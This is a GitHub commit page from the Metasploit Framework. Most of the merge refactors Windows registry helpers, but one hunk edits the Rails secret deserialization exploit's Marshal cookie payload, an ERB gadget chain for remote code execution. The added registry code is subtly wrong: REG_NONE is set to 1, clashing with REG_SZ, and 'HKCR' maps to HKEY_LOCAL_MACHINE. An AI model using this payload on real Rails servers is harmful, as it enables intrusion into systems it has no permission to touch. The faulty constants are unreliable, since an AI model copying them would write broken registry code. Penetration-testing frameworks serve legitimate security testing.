Skip to content

Commit 8871673

Browse files
author
“Brian
committed
Merge branch 'master' of github.com:rapid7/metasploit-framework
2 parents 53170cc + 9d01f24 commit 8871673

File tree

7 files changed

+51
-61
lines changed

7 files changed

+51
-61
lines changed

lib/msf/core/post/windows/registry.rb

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,51 @@ module Registry
2929
#
3030
REGISTRY_VIEW_64_BIT = 2
3131

32+
#
33+
# Windows Registry Constants.
34+
#
35+
REG_NONE = 1
36+
REG_SZ = 1
37+
REG_EXPAND_SZ = 2
38+
REG_BINARY = 3
39+
REG_DWORD = 4
40+
REG_LITTLE_ENDIAN = 4
41+
REG_BIG_ENDIAN = 5
42+
REG_LINK = 6
43+
REG_MULTI_SZ = 7
44+
45+
HKEY_CLASSES_ROOT = 0x80000000
46+
HKEY_CURRENT_USER = 0x80000001
47+
HKEY_LOCAL_MACHINE = 0x80000002
48+
HKEY_USERS = 0x80000003
49+
HKEY_PERFORMANCE_DATA = 0x80000004
50+
HKEY_CURRENT_CONFIG = 0x80000005
51+
HKEY_DYN_DATA = 0x80000006
52+
53+
#
54+
# Lookup registry hives by key.
55+
#
56+
def registry_hive_lookup(hive)
57+
case hive
58+
when 'HKCR'
59+
HKEY_LOCAL_MACHINE
60+
when 'HKCU'
61+
HKEY_CURRENT_USER
62+
when 'HKLM'
63+
HKEY_LOCAL_MACHINE
64+
when 'HKU'
65+
HKEY_USERS
66+
when 'HKPD'
67+
HKEY_PERFORMANCE_DATA
68+
when 'HKCC'
69+
HKEY_CURRENT_CONFIG
70+
when 'HKDD'
71+
HKEY_DYN_DATA
72+
else
73+
HKEY_LOCAL_MACHINE
74+
end
75+
end
76+
3277
#
3378
# Load a hive file
3479
#

lib/rex.rb

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -106,9 +106,6 @@ module Rex
106106
# Compatibility
107107
require 'rex/compat'
108108

109-
# Platforms
110-
require 'rex/platforms'
111-
112109
# SSLScan
113110
require 'rex/sslscan/scanner'
114111
require 'rex/sslscan/result'

lib/rex/platforms.rb

Lines changed: 0 additions & 2 deletions
This file was deleted.

lib/rex/platforms/windows.rb

Lines changed: 0 additions & 52 deletions
This file was deleted.

modules/auxiliary/admin/backupexec/registry.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010
class MetasploitModule < Msf::Auxiliary
1111

1212
include Msf::Exploit::Remote::DCERPC
13-
include ::Rex::Platforms::Windows
13+
include Msf::Post::Windows::Registry
1414

1515
def initialize(info = {})
1616
super(update_info(info,

modules/auxiliary/admin/serverprotect/file.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010
class MetasploitModule < Msf::Auxiliary
1111

1212
include Msf::Exploit::Remote::DCERPC
13-
include Rex::Platforms::Windows
13+
include Msf::Post::Windows::Registry
1414

1515
def initialize(info = {})
1616
super(update_info(info,

modules/exploits/multi/http/rails_secret_deserialization.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -200,18 +200,20 @@ def build_cookie
200200
return "\x04\b" +
201201
"o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" +
202202
":\x0E@instanceo" +
203-
":\bERB\x06" +
203+
":\bERB\x07" +
204204
":\t@src"+ Marshal.dump(code)[2..-1] +
205+
":\x0c@lineno"+ "i\x00" +
205206
":\f@method:\vresult:" +
206207
"\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00"
207208
end
208209
if datastore['RAILSVERSION'] == 3
209210
return Rex::Text.encode_base64 "\x04\x08" +
210211
"o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" +
211212
":\x0E@instance" +
212-
"o"+":\x08ERB"+"\x06" +
213+
"o"+":\x08ERB"+"\x07" +
213214
":\x09@src" +
214215
Marshal.dump(code)[2..-1] +
216+
":\x0c@lineno"+ "i\x00" +
215217
":\x0C@method"+":\x0Bresult"
216218
end
217219
end

0 commit comments

Comments
 (0)